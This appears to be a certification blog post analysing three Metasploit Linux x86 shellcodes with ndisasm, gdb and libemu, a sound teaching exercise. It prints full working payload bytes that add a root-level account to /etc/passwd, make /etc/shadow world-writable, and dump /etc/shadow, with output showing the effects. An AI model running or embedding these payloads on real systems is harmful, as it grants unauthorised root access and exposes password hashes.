The exam at Securitytube Linux Assembly Expert course consists of creating or analyzing shellcodes. This is the fifth assignment, where I have to create analyze three shellcode with ndisasm, gdb and libemu.
First shellcode, adduser
root@myserver:/home/ubuntu/SLAE_temp/5_analyze# msfvenom -p linux/x86/adduser -f c
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 0 compatible encoders
unsigned char buf[] =
"\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51"
"\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63"
"\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x28\x00\x00\x00\x6d\x65"
"\x74\x61\x73\x70\x6c\x6f\x69\x74\x3a\x41\x7a\x2f\x64\x49\x73"
"\x6a\x34\x70\x34\x49\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a"
"\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58"
"\xcd\x80\x6a\x01\x58\xcd\x80";
Check the instructions with ndisasm:
root@myserver:/home/ubuntu/SLAE_temp/5_analyze# echo -ne "\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x28\x00\x00\x00\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x3a\x41\x7a\x2f\x64\x49\x73\x6a\x34\x70\x34\x49\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01\x58\xcd\x80" | ndisasm -u -
00000000 31C9 xor ecx,ecx
00000002 89CB mov ebx,ecx
00000004 6A46 push byte +0x46
00000006 58 pop eax
00000007 CD80 int 0x80
00000009 6A05 push byte +0x5
0000000B 58 pop eax
0000000C 31C9 xor ecx,ecx
0000000E 51 push ecx
0000000F 6873737764 push dword 0x64777373
00000014 682F2F7061 push dword 0x61702f2f
00000019 682F657463 push dword 0x6374652f
0000001E 89E3 mov ebx,esp
00000020 41 inc ecx
00000021 B504 mov ch,0x4
00000023 CD80 int 0x80
00000025 93 xchg eax,ebx
00000026 E828000000 call dword 0x53
0000002B 6D insd
0000002C 657461 gs jz 0x90
0000002F 7370 jnc 0xa1
00000031 6C insb
00000032 6F outsd
00000033 69743A417A2F6449 imul esi,[edx+edi+0x41],dword 0x49642f7a
0000003B 736A jnc 0xa7
0000003D 3470 xor al,0x70
0000003F 3449 xor al,0x49
00000041 52 push edx
00000042 633A arpl [edx],di
00000044 303A xor [edx],bh
00000046 303A xor [edx],bh
00000048 3A2F cmp ch,[edi]
0000004A 3A2F cmp ch,[edi]
0000004C 62696E bound ebp,[ecx+0x6e]
0000004F 2F das
00000050 7368 jnc 0xba
00000052 0A598B or bl,[ecx-0x75]
00000055 51 push ecx
00000056 FC cld
00000057 6A04 push byte +0x4
00000059 58 pop eax
0000005A CD80 int 0x80
0000005C 6A01 push byte +0x1
0000005E 58 pop eax
0000005F CD80 int 0x80
Debug with dbg.
The first syscall is clearly 0x46, #define __NR_setgid 46, so we have setgid call to preserve root privileges.
Next syscall is 0x5, #define __NR_open 5
man 2 open
int open(const char *pathname, int flags);
int open(const char *pathname, int flags, mode_t mode);
(gdb) print /x $ebx
$3 = 0xffffd67c
(gdb) x/1s 0xffffd67c
0xffffd67c: "/etc//passwd"
Okay, so shellcode opens /etc/passwd
next syscall
eax 0x4 4
ecx 0x804a06b 134520939
edx 0x28 40
the next part of the code is data, although it looks gibberish:
0x0804a06b <+43>: insl (%dx),%es:(%edi)
0x0804a06c <+44>: gs
0x0804a06d <+45>: je 0x804a0d0
0x0804a06f <+47>: jae 0x804a0e1
0x0804a071 <+49>: insb (%dx),%es:(%edi)
0x0804a072 <+50>: outsl %ds:(%esi),(%dx)
0x0804a073 <+51>: imul $0x49642f7a,0x41(%edx,%edi,1),%esi
0x0804a07b <+59>: jae 0x804a0e7
0x0804a07d <+61>: xor $0x70,%al
0x0804a07f <+63>: xor $0x49,%al
0x0804a081 <+65>: push %edx
0x0804a082 <+66>: arpl %di,(%edx)
0x0804a084 <+68>: xor %bh,(%edx)
0x0804a086 <+70>: xor %bh,(%edx)
0x0804a088 <+72>: cmp (%edi),%ch
0x0804a08a <+74>: cmp (%edi),%ch
0x0804a08c <+76>: bound %ebp,0x6e(%ecx)
0x0804a08f <+79>: das
0x0804a090 <+80>: jae 0x804a0fa
0x0804a092 <+82>: or -0x75(%ecx),%bl
0x0804a095 <+85>: push %ecx
0x0804a096 <+86>: cld
(gdb) x /1s 0x804a06b
0x804a06b : "metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh\nY\213Q▒j\004X▒\200j\001X▒\200"
See, it is the data inserted into the /etc/passwd file.
Final part, exit:
0x0804a09c <+92>: push $0x1
0x0804a09e <+94>: pop %eax
0x0804a09f <+95>: int $0x80
exit
I also tried to analyse with libemu, no luck.
root@myserver:/home/ubuntu/libemu/tools/sctest# echo -ne "\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x28\x00\x00\x00\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x3a\x41\x7a\x2f\x64\x49\x73\x6a\x34\x70\x34\x49\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01\x58\xcd\x80" | ./sctest -vvv -Ss -100000
verbose = 3
[emu 0x0x15d60e0 debug ] cpu state eip=0x00417000
[emu 0x0x15d60e0 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x15d60e0 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x15d60e0 debug ] Flags:
[emu 0x0x15d60e0 debug ] cpu state eip=0x00417000
[emu 0x0x15d60e0 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x15d60e0 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x15d60e0 debug ] Flags:
[emu 0x0x15d60e0 debug ] 31C9 xor ecx,ecx
[emu 0x0x15d60e0 debug ] cpu state eip=0x00417002
[emu 0x0x15d60e0 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x15d60e0 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x15d60e0 debug ] Flags: PF ZF
[emu 0x0x15d60e0 debug ] 89CB mov ebx,ecx
[emu 0x0x15d60e0 debug ] cpu state eip=0x00417004
[emu 0x0x15d60e0 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x15d60e0 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x15d60e0 debug ] Flags: PF ZF
[emu 0x0x15d60e0 debug ] 6A46 push byte 0x46
[emu 0x0x15d60e0 debug ] cpu state eip=0x00417006
[emu 0x0x15d60e0 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x15d60e0 debug ] esp=0x00416fca ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x15d60e0 debug ] Flags: PF ZF
[emu 0x0x15d60e0 debug ] 58 pop eax
[emu 0x0x15d60e0 debug ] cpu state eip=0x00417007
[emu 0x0x15d60e0 debug ] eax=0x00000046 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x15d60e0 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x15d60e0 debug ] Flags: PF ZF
[emu 0x0x15d60e0 debug ] CD80 int 0x80
stepcount 4
[emu 0x0x15d60e0 debug ] cpu state eip=0x00417009
[emu 0x0x15d60e0 debug ] eax=0x00000046 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x15d60e0 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x15d60e0 debug ] Flags: PF ZF
Tried many things, no luck.
Second analyze shellcode, generate chmod shellcode with msfvenom
root@myserver:/home/ubuntu/SLAE_temp/5_analyze# msfvenom -p linux/x86/chmod -f c
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 0 compatible encoders
unsigned char buf[] =
"\x99\x6a\x0f\x58\x52\xe8\x0c\x00\x00\x00\x2f\x65\x74\x63\x2f"
"\x73\x68\x61\x64\x6f\x77\x00\x5b\x68\xb6\x01\x00\x00\x59\xcd"
"\x80\x6a\x01\x58\xcd\x80";
Let's see whats ndisasm tells about this:
root@myserver:/home/ubuntu/SLAE_temp/5_analyze# echo -ne "\x99\x6a\x0f\x58\x52\xe8\x0c\x00\x00\x00\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77\x00\x5b\x68\xb6\x01\x00\x00\x59\xcd\x80\x6a\x01\x58\xcd\x80" | ndisasm -u -
00000000 99 cdq
00000001 6A0F push byte +0xf
00000003 58 pop eax
00000004 52 push edx
00000005 E80C000000 call dword 0x16
0000000A 2F das
0000000B 657463 gs jz 0x71
0000000E 2F das
0000000F 7368 jnc 0x79
00000011 61 popad
00000012 646F fs outsd
00000014 7700 ja 0x16
00000016 5B pop ebx
00000017 68B6010000 push dword 0x1b6
0000001C 59 pop ecx
0000001D CD80 int 0x80
0000001F 6A01 push byte +0x1
00000021 58 pop eax
00000022 CD80 int 0x80
Looks good, but gdb can help us more.
(gdb) disassemble
Dump of assembler code for function code:
=> 0x0804a040 <+0>: int3
0x0804a041 <+1>: push $0xf
0x0804a043 <+3>: pop %eax
0x0804a044 <+4>: push %edx
0x0804a045 <+5>: call 0x804a056
0x0804a04a <+10>: das
0x0804a04b <+11>: gs
0x0804a04c <+12>: je 0x804a0b1
0x0804a04e <+14>: das
0x0804a04f <+15>: jae 0x804a0b9
0x0804a051 <+17>: popa
0x0804a052 <+18>: outsl %fs:(%esi),(%dx)
0x0804a054 <+20>: ja 0x804a056
0x0804a056 <+22>: pop %ebx
0x0804a057 <+23>: push $0x1b6
0x0804a05c <+28>: pop %ecx
0x0804a05d <+29>: int $0x80
0x0804a05f <+31>: push $0x1
0x0804a061 <+33>: pop %eax
0x0804a062 <+34>: int $0x80
0x0804a064 <+36>: add %al,(%eax)
End of assembler dump.
So far so good, check the registers before the syscall.
(gdb) info registers
eax 0xf 15
ecx 0x1b6 438
edx 0x0 0
ebx 0x804a04a 134520906
#define __NR_chmod 15
int chmod(const char *path, mode_t mode);
So we run chmod on a file, but which one?
(gdb) x /1s 0x0804a04a
0x804a04a : "/etc/shadow"
So we run chmod on /etc/shadow. Let's check the current permissions.
root@myserver:/home/ubuntu# ls -alh /etc/shadow
-rw-r----- 1 root shadow 1.2K Sep 17 20:43 /etc/shadow
And what if we finish the shellcode run?
root@myserver:/home/ubuntu# ls -alh /etc/shadow
-rw-rw-rw- 1 root shadow 1.2K Sep 17 20:43 /etc/shadow
Well, no surprise, ecx was 0x1b6, which converted to octal is 666 -rw-rw-rw-
Third shellcode, read file
root@myserver:/home/ubuntu/SLAE_temp/5_analyze# msfvenom -p linux/x86/read_file -f c PATH=/etc/shadow
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 0 compatible encoders
unsigned char buf[] =
"\xeb\x36\xb8\x05\x00\x00\x00\x5b\x31\xc9\xcd\x80\x89\xc3\xb8"
"\x03\x00\x00\x00\x89\xe7\x89\xf9\xba\x00\x10\x00\x00\xcd\x80"
"\x89\xc2\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xcd\x80\xb8"
"\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xc5\xff\xff"
"\xff\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77\x00";
Disassemble with ndisasm.
root@myserver:/home/ubuntu# echo -ne "\xeb\x36\xb8\x05\x00\x00\x00\x5b\x31\xc9\xcd\x80\x89\xc3\xb8\x03\x00\x00\x00\x89\xe7\x89\xf9\xba\x00\x10\x00\x00\xcd\x80\x89\xc2\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xc5\xff\xff\xff\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77\x00" | ndisasm -u -
00000000 EB36 jmp short 0x38
00000002 B805000000 mov eax,0x5
00000007 5B pop ebx
00000008 31C9 xor ecx,ecx
0000000A CD80 int 0x80
0000000C 89C3 mov ebx,eax
0000000E B803000000 mov eax,0x3
00000013 89E7 mov edi,esp
00000015 89F9 mov ecx,edi
00000017 BA00100000 mov edx,0x1000
0000001C CD80 int 0x80
0000001E 89C2 mov edx,eax
00000020 B804000000 mov eax,0x4
00000025 BB01000000 mov ebx,0x1
0000002A CD80 int 0x80
0000002C B801000000 mov eax,0x1
00000031 BB00000000 mov ebx,0x0
00000036 CD80 int 0x80
00000038 E8C5FFFFFF call dword 0x2
0000003D 2F das
0000003E 657463 gs jz 0xa4
00000041 2F das
00000042 7368 jnc 0xac
00000044 61 popad
00000045 646F fs outsd
00000047 7700 ja 0x49
Guess what, libemu can't help, again ...
echo -ne "\xeb\x36\xb8\x05\x00\x00\x00\x5b\x31\xc9\xcd\x80\x89\xc3\xb8\x03\x00\x00\x00\x89\xe7\x89\xf9\xba\x00\x10\x00\x00\xcd\x80\x89\xc2\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xc5\xff\xff\xff\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77\x00" | ./sctest -vvv -Ss -100000
[emu 0x0x23690e0 debug ] cpu state eip=0x00417000
[emu 0x0x23690e0 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x23690e0 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x23690e0 debug ] Flags:
[emu 0x0x23690e0 debug ] cpu state eip=0x00417000
[emu 0x0x23690e0 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x23690e0 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x23690e0 debug ] Flags:
[emu 0x0x23690e0 debug ] EB jmp 0x1
[emu 0x0x23690e0 debug ] cpu state eip=0x00417038
[emu 0x0x23690e0 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x23690e0 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x23690e0 debug ] Flags:
[emu 0x0x23690e0 debug ] E8 call 0x1
[emu 0x0x23690e0 debug ] cpu state eip=0x00417002
[emu 0x0x23690e0 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x23690e0 debug ] esp=0x00416fca ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x23690e0 debug ] Flags:
[emu 0x0x23690e0 debug ] B805000000 mov eax,0x5
[emu 0x0x23690e0 debug ] cpu state eip=0x00417007
[emu 0x0x23690e0 debug ] eax=0x00000005 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x23690e0 debug ] esp=0x00416fca ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x23690e0 debug ] Flags:
[emu 0x0x23690e0 debug ] 5B pop ebx
[emu 0x0x23690e0 debug ] cpu state eip=0x00417008
[emu 0x0x23690e0 debug ] eax=0x00000005 ecx=0x00000000 edx=0x00000000 ebx=0x0041703d
[emu 0x0x23690e0 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x23690e0 debug ] Flags:
[emu 0x0x23690e0 debug ] 31C9 xor ecx,ecx
[emu 0x0x23690e0 debug ] cpu state eip=0x0041700a
[emu 0x0x23690e0 debug ] eax=0x00000005 ecx=0x00000000 edx=0x00000000 ebx=0x0041703d
[emu 0x0x23690e0 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x23690e0 debug ] Flags: PF ZF
[emu 0x0x23690e0 debug ] CD80 int 0x80
stepcount 5
[emu 0x0x23690e0 debug ] cpu state eip=0x0041700c
[emu 0x0x23690e0 debug ] eax=0x00000005 ecx=0x00000000 edx=0x00000000 ebx=0x0041703d
[emu 0x0x23690e0 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x23690e0 debug ] Flags: PF ZF
Luckily, we have GDB, let's jump into the middle, check syscall parameters.
Breakpoint 2, 0x0804a04a in code ()
(gdb) info registers
eax 0x5 5
ecx 0x0 0
edx 0xf7fbc898 -134494056
ebx 0x804a07d 134520957
#define __NR_open 5
So we open a file, but which one?
(gdb) x/1s 0x804a07d
0x804a07d : "/etc/shadow"
OK, so we open /etc/shadow. What about the next syscall?
next syscall
eax 0x3 3
ecx 0xffffd68c -10612
edx 0x1000 4096
ebx 0x3 3
#define __NR_read 3
ssize_t read(int fd, void *buf, size_t count);
Next, we read it into a buffer. What about the next syscall?
eax 0x4 4
ecx 0xffffd68c -10612
edx 0x46a 1130
ebx 0x1 1
#define __NR_write 4
ssize_t write(int fd, const void *buf, size_t count);
And we write the output to the buffer.
root@myserver:/home/ubuntu# cat /etc/shadow | wc
31 31 1130
And see, the size of /etc/shadow is what was in edx.
Continuing.
root:$6$Pco//pem$d.I3/***********************************q1:16129:0:99999:7:::
daemon:*:16105:0:99999:7:::
bin:*:16105:0:99999:7:::
sys:*:16105:0:99999:7:::
sync:*:16105:0:99999:7:::
games:*:16105:0:99999:7:::
man:*:16105:0:99999:7:::
lp:*:16105:0:99999:7:::
And here we go, /etc/shadow printed in the exploit.
That's all folks!
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/ Student-ID: SLAE - 607